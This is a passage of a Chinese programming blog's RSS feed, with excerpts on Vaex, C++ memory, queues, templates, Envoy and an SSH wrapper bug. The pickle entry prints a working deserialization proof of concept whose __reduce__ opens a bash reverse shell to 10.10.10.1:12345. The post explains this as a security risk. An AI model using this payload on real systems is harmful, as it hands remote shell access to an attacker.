&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;函数式是一种声明式编程范式，上面的代码就像SQL语句一样，代码操作数据集合非常直观。笔者在去年写了一篇 &lt;a href=&#34;http://lanlingzi.cn/post/technical/2020/1108_code/&#34;&gt;飞哥讲代码16：函数式让数据处理更简洁&lt;/a&gt; 简单介绍了函数式在数据集合操作上的便利。&lt;/p&gt;
&lt;p&gt;在数据分析领域，Python生态中有Pandas这类非常优秀的库，它对DataFrame(可以理解一张数据库表存储的数据集合)提供非常简单的API，支持对数据集的过滤、聚合、归并、填充与计算等，很方便地对数据进行清洗和加工。但它也并不是像Java的Stream一样操作，示例如下：&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码25：突破内存限制</title>
      <link>http://lanlingzi.cn/post/technical/2021/0411_code/</link>
      <pubDate>Sun, 11 Apr 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0411_code/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;最近调研低成本的大数据量的数据分析框架，搜索发现有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.douban.com/note/752805208/&#34;&gt;使用Python包Vaex读入并分析100G数据&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://my.oschina.net/u/4604431/blog/4561727&#34;&gt;Vaex：突破pandas，快速分析100GB大数据集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://baijiahao.baidu.com/s?id=1671080188522713952&amp;amp;wfr=spider&amp;amp;for=pc&#34;&gt;这场Spark、Dask、Vaex、Pandas的正面交锋，谁赢了？&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://baijiahao.baidu.com/s?id=1631752978489322985&amp;amp;wfr=spider&amp;amp;for=pc&#34;&gt;Vaex：一种具有超级字符串功能的DataFrame Python库&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些文章都在介绍&lt;a href=&#34;https://vaex.io/&#34;&gt;Vaex&lt;/a&gt;，第三篇文章中有多种分析框架不同场景应用的性能对比。Vaex由于它采取内存映射、惰性计算的设计，可以在百亿级数据集上进行秒级的统计分析和可视化展示，使得它能在数据分析领域有它一席位置。&lt;/p&gt;
&lt;p&gt;作为一名屌丝程度员，在性能倍增的背景下，极其想扒一扒它的代码，探索它是如何做到的。笔者也简单做了一些的验证(数据文件采用Parquet)，它的确是秒级完成千万级数据量基于列式存储的数值统计分析(求mean,std,var等)、多列之间的计算以及按列条件过滤。这些计算不需要使用大量的内存，但象join，groupby聚合这类复杂的计算，它还是把数据加载到内存中计算。它的API也没有Pandas灵活与丰富，所以并不能完全取代Pandas。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码24：从Python Pickle漏洞说起</title>
      <link>http://lanlingzi.cn/post/technical/2021/0313_code/</link>
      <pubDate>Sat, 13 Mar 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0313_code/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;《泾溪》&amp;ndash; 杜荀鹤&lt;br&gt;
泾溪石险人兢慎，终岁不闻倾覆人。&lt;br&gt;
却是平流无石处，时时闻说有沉沦。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;有次同事找我看个Python的安全问题。测试代码是这样的：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#008b45;text-decoration:underline&#34;&gt;pickle&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#008b45;text-decoration:underline&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;Test&lt;/span&gt;(&lt;span style=&#34;color:#658b00&#34;&gt;object&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;__reduce__&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        cmd = &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;&amp;#34;&amp;#34;bash -i &amp;amp;&amp;gt; /dev/tcp/10.10.10.1/12345 0&amp;gt;&amp;amp;1 2&amp;gt;&amp;amp;1&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;return&lt;/span&gt; (os.system,(cmd,))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; __name__ == &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    test = Test()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    bs = pickle.dumps(test)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pickle.loads(bs)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个是利用pickle反序列化漏洞，结合shell反弹的安全入侵。当代码执行之后，会后台与10.10.10.1:12345建立连接，在10.10.10.1上的用户则可以直接像ssh远程一样操作你的机器。&lt;/p&gt;
&lt;p&gt;目前Python在AI领域应用越来越多，不少传统机器学习的模型也采用pickle格式保存。如基于sklearn训练的模型，通常采用pickle.dump把模型生成pkl文件，当再使用模型时，则通过pickle.load加载模型来进行推理预测。像Java中json/xml/yaml的序列化与反序列化一样，python的pickle对象序列化与反序列化存在更为严重的安全风险。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码23：C/C&#43;&#43;内存空洞</title>
      <link>http://lanlingzi.cn/post/technical/2021/0307_code/</link>
      <pubDate>Sun, 07 Mar 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0307_code/</guid>
      <description>&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;C/C++把内存管理权限交给了程序员。自由越大责任越大。如果内存只借不还，则产生内存泄露。如果随意借了还得不及时，则可能产生内存空洞。&lt;/p&gt;
&lt;p&gt;前一段时间定位某一组件(C++代码)的性能问题。现网会开启atop记录此机器的资源使用，发现此组件进程最后内存的虚拟内存(VIRT)达到达8.3G，常驻内存(RES)达到4.2G。而在实验室对比测试的内存占用也就100M多。区别在于实验室测试环境运行时间不长，而出问题的是长时间运行的。&lt;/p&gt;
&lt;p&gt;排除内存泄露之外，我们怀疑出现了大量离散的内存空洞，原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;代码层面：
&lt;ul&gt;
&lt;li&gt;代码中大量的直接new/delete内存，未有任何内存复用&lt;/li&gt;
&lt;li&gt;申请的内存未做字节对齐(注：字节对齐主要提升CPU访问效率，也能减少内存占用)&lt;/li&gt;
&lt;li&gt;申请的内存有大有小，大的有10K，小的有几十个bytes&lt;/li&gt;
&lt;li&gt;申请与释放时间跨度大，有些跨不同的线程&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;资源层面：
&lt;ul&gt;
&lt;li&gt;VIRT与RES内存占用远超时实际业务流程所需要的内存&lt;/li&gt;
&lt;li&gt;CPU sys占用也不低&lt;/li&gt;
&lt;li&gt;业务处理出现抖动，可能申请内存变慢导致&lt;/li&gt;
&lt;li&gt;实验室测试内存占用低，上涨VIRT与RES内存应该日积月累&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于为了恢复业务，出问题的进程已重启，无法再捕捉其它一些信息，只也能先事后诸葛，根据现象推导原因。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码22：C&#43;&#43;线程安全队列</title>
      <link>http://lanlingzi.cn/post/technical/2021/0217_code/</link>
      <pubDate>Wed, 17 Feb 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0217_code/</guid>
      <description>&lt;p&gt;本文虽是C++代码讲解，但JDK也有对应的两种实现，学习Java的同学也可阅读一并了解一下。&lt;/p&gt;
&lt;h1 id=&#34;背景&#34;&gt;背景&lt;/h1&gt;
&lt;p&gt;在多线程的并发模型中，无论是CSP还是Actor模式，都需要借助一个通道来在多个线程间传递消息来通讯。队列在计算机中是非常重要的一种数据结构，队列典型的特征是先进先出（FIFO），符合流水线业务流程。在进程间通信、网络通信之间经常采用队列做缓存，缓解数据处理压力。&lt;/p&gt;
&lt;p&gt;节前定位某一C++开发的部件的性能问题，涉及到阻塞队列唤醒延迟问题。队列是采用ACE提供ACE_Message_Queue，使用场景是单生产/单消费。&lt;/p&gt;
&lt;p&gt;ACE_Message_Queue的模型是仿照System V streams提供的队列设施设计的。消息块ACE_Message_Block是消息队列中的固定的对象结构。ACE大量采用了设计模式，代码一层套一层的，这也使得代码变得复杂不容易看懂。ACE_Message_Queue为了支持在多线程或单线程不同场景使用，采用了基于traits策略，通过模板参数来指定是需否要支持多线程。&lt;/p&gt;
&lt;p&gt;在Java语言中，JDK中有ArrayBlockingQueue/LinkedBlockingQueue（有锁，有界）与ConcurrentLinkedQueue/LinkedTransferQueue（无锁，无界），开源高性能的Disruptor框架实现了无锁队列。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码21：C&#43;&#43;TLS在Envoy中应用</title>
      <link>http://lanlingzi.cn/post/technical/2021/0124_code/</link>
      <pubDate>Sun, 24 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0124_code/</guid>
      <description>&lt;p&gt;本文虽分析的是C++源码，但是对Evnoy的设计思想分析，并不影响其它语言开发者阅读。&lt;/p&gt;
&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;Envoy是Service Mesh框架Istio推荐的SideCar，基于C++开发(大量使用了Google开源C++项目&lt;a href=&#34;https://abseil.io/&#34;&gt;absl&lt;/a&gt;)，具有高性能的特点，被广大微服务框架爱好者所熟悉。它的高性能一方面也源自它的优秀线程模型，我们可以通过这篇 &lt;a href=&#34;https://www.sohu.com/a/244966023_268033&#34;&gt;Envoy为什么能战胜Ngnix——线程模型分析篇&lt;/a&gt; 可以进一步了解它的设计思路。这是对Envoy架构师的 &lt;a href=&#34;https://blog.envoyproxy.io/envoy-threading-model-a8d44b922310&#34;&gt;博文&lt;/a&gt; 翻译，原文内容较深入较长，总结如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;采用单进程多线程的线程模型，其中一个主线程控制一些零散的协作任务&lt;/li&gt;
&lt;li&gt;若干worker线程负责连接监听，以及连接请求消息的过滤、转发&lt;/li&gt;
&lt;li&gt;一旦监听器接受了连接，连接的后续生命周期都绑定到单个工作线程&lt;/li&gt;
&lt;li&gt;使用非阻塞的网络调用，配置的Worker数与CPU核数(线程线)一致，即可完成大部分工作负载&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码20：窥探C&#43;&#43;的模板</title>
      <link>http://lanlingzi.cn/post/technical/2021/0108_code/</link>
      <pubDate>Fri, 08 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0108_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;这次我们还是通过对Drogon的实现分析，一起来窥探与学习一下C++模板特性。&lt;/p&gt;
&lt;p&gt;Drogon文档中介绍『基于template实现了简单的反射机制，使主程序框架、控制器(controller)和视图(view)完全解耦』。先看一下官方文档中的样例代码：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c++&#34; data-lang=&#34;c++&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#008b45;font-weight:bold&#34;&gt;User&lt;/span&gt; : &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; drogon::HttpController&amp;lt;User&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    METHOD_LIST_BEGIN
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;//use METHOD_ADD to add your custom processing function here;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    METHOD_ADD(User::getInfo, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;/{id}&amp;#34;&lt;/span&gt;, Get);                  &lt;span style=&#34;color:#228b22&#34;&gt;//path is /api/v1/User/{arg1}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    METHOD_ADD(User::getDetailInfo, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;/{id}/detailinfo&amp;#34;&lt;/span&gt;, Get);  &lt;span style=&#34;color:#228b22&#34;&gt;//path is /api/v1/User/{arg1}/detailinfo
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    METHOD_ADD(User::newUser, &lt;span style=&#34;color:#cd5555&#34;&gt;&amp;#34;/{name}&amp;#34;&lt;/span&gt;, Post);                 &lt;span style=&#34;color:#228b22&#34;&gt;//path is /api/v1/User/{arg1}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    METHOD_LIST_END
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#228b22&#34;&gt;//your declaration of processing function maybe like this:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#228b22&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; getInfo(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpRequestPtr &amp;amp;req, std::function&amp;lt;&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpResponsePtr &amp;amp;)&amp;gt; &amp;amp;&amp;amp;callback, &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;int&lt;/span&gt; userId) &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;getDetailInfo&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpRequestPtr &amp;amp;req, std::function&amp;lt;&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpResponsePtr &amp;amp;)&amp;gt; &amp;amp;&amp;amp;callback, &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;int&lt;/span&gt; userId) &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;newUser&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpRequestPtr &amp;amp;req, std::function&amp;lt;&lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt;(&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;const&lt;/span&gt; HttpResponsePtr &amp;amp;)&amp;gt; &amp;amp;&amp;amp;callback, std::string &amp;amp;&amp;amp;userName);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;上述代码需要解决的问题：注册的&lt;code&gt;METHOD_ADD(User::getInfo, &amp;quot;/{id}&amp;quot;, Get);&lt;/code&gt;，对应的请求消息怎么路由到&lt;code&gt;getInfo&lt;/code&gt; 方法？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;无反射机制的做法是，通过保存处理的函数指针，接收到请求再回调函数，函数签名只能是固定格式&lt;/li&gt;
&lt;li&gt;但URL Pattern中会存在多个&lt;code&gt;{}&lt;/code&gt;替换参数，参数的类型可能是string, int, long等类型，是无固定参数&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;像Java等语言由于有底层Runtime框架(JVM)，实现了运行期的反射机制。借助反射把请求动态路由到对应的处理函数，代码实现上不会太难。但C++是没有Runtime，只能是借助于模板在编译期做一些事情，来达到像Java一样的反射机制。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码19：C&#43;&#43;中的左右值引用</title>
      <link>http://lanlingzi.cn/post/technical/2021/0103_code/</link>
      <pubDate>Sun, 03 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2021/0103_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;元旦哪里去不了，就呆在家里折腾VIM配置之后又看了一些C++的开源项目。国人开发的C++ web框架 &lt;a href=&#34;https://github.com/an-tao/drogon/&#34;&gt;drogon&lt;/a&gt; 在techempower上霸榜。techempower是一个专门给web框架做性能排名的网站。drogon在 &lt;a href=&#34;https://www.techempower.com/benchmarks/#section=data-r19&amp;amp;hw=ph&amp;amp;test=composite&#34;&gt;Round19测试&lt;/a&gt; 中，综合成绩排第一。&lt;/p&gt;
&lt;p&gt;drogon是基于C++14/17，采用CMake构建，跨平台，全异步，自带高性能模板引擎CSP，基于模板实现了简单的反射机制的Web框架。&lt;/p&gt;
&lt;p&gt;我10年前写过大约5年多的C++代码，使用的也是传统的C++，C++11之后称为modern C++。不再使用C++做项目之后， 也就断断续续关注自学过，并没有实际的项目实战经验。所以看drogon的源码还算能看懂，但有些用法还是不太熟悉。drogon代码中大量存在如下代码：对于一个setXXX方法，写了&lt;code&gt;const T&amp;amp; &lt;/code&gt;与&lt;code&gt;T &amp;amp;&amp;amp;&lt;/code&gt;两种入参。&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    void setRecvMessageCallback(const RecvMessageCallback &amp;amp;cb)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recvMessageCallback_ = cb;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    void setRecvMessageCallback(RecvMessageCallback &amp;amp;&amp;amp;cb)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        recvMessageCallback_ = std::move(cb);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;还有这种用法：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  for (auto &amp;amp;backend : config[&amp;#34;backends&amp;#34;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        backendAddrs_.emplace_back(backend.asString()); //并没有使用push_back
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码18：记一次问题定位分析</title>
      <link>http://lanlingzi.cn/post/technical/2020/1213_code/</link>
      <pubDate>Sun, 13 Dec 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/1213_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;上周一位同学找我看个问题，故事是这样的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;安全设计要求，需要对SSH远程执行做命令白名单&lt;/li&gt;
&lt;li&gt;在authorized_keys中配置wrapper脚本对执行的命令进行检查&lt;/li&gt;
&lt;li&gt;问题是部分命令能正常执行，部分命令执行之后不退出卡住&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那个wrapper脚本的关键逻辑如下:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;function&lt;/span&gt; ssh_exec_wrapper() {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#658b00&#34;&gt;local&lt;/span&gt; &lt;span style=&#34;color:#00688b&#34;&gt;cmd&lt;/span&gt;=&lt;span style=&#34;color:#00688b&#34;&gt;$@&lt;/span&gt; &lt;span style=&#34;color:#228b22&#34;&gt;# [1]取命令行所有参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    check_cmd_in_white_list &lt;span style=&#34;color:#00688b&#34;&gt;$cmd&lt;/span&gt; &lt;span style=&#34;color:#228b22&#34;&gt;# [2]检查命令行的是否在白名单中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#658b00&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#00688b&#34;&gt;$cmd&lt;/span&gt; |sh &lt;span style=&#34;color:#228b22&#34;&gt;# [3]执行命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;问题是会卡在第三行，执行部分命令行结束之后，却不能退出，开发同学百思不得其解，不知道问题出在哪些。&lt;/p&gt;
&lt;p&gt;会卡的命令大概如下：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;orted -mca ess &amp;quot;env&amp;quot; -mca ess_base_iobid &amp;quot;833290240&amp;quot; ...&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这个命令长度有215个字符，其中包括有空格，双引号(&amp;quot;)，分号(;)，逗号（,）与脱字符(^)&lt;/p&gt;
&lt;p&gt;此问题最后还是得以解决，发现是一处不起眼的写法引发的，定位会却花了1小时。&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>飞哥讲代码17：写好代码就要深入细节</title>
      <link>http://lanlingzi.cn/post/technical/2020/1129_code/</link>
      <pubDate>Sun, 29 Nov 2020 00:00:00 +0000</pubDate>
      
      <guid>http://lanlingzi.cn/post/technical/2020/1129_code/</guid>
      <description>&lt;h1 id=&#34;案例&#34;&gt;案例&lt;/h1&gt;
&lt;p&gt;案例代码来源我们某产品：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#eed;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;public&lt;/span&gt; &lt;span style=&#34;color:#00688b;font-weight:bold&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#008b45&#34;&gt;rollbackOrgPackage&lt;/span&gt;(Map&amp;lt;String, Object&amp;gt; oldOrgPackage, String orgName) &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throw&lt;/span&gt; ApigwException, ParseException {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;if&lt;/span&gt; (StringUtil.&lt;span style=&#34;color:#658b00&#34;&gt;isEmpyt&lt;/span&gt;(orgName)) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;throw&lt;/span&gt; &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;new&lt;/span&gt; BackParameterException(...);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;for&lt;/span&gt; (Entry&amp;lt;String, Object&amp;gt; orgPackage: oldOrgPackage.&lt;span style=&#34;color:#658b00&#34;&gt;entrySet&lt;/span&gt;()) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8b008b;font-weight:bold&#34;&gt;switch&lt;/span&gt; ( orgPackage.&lt;span style=&#34;color:#658b00&#34;&gt;getKey&lt;/span&gt;() ) {
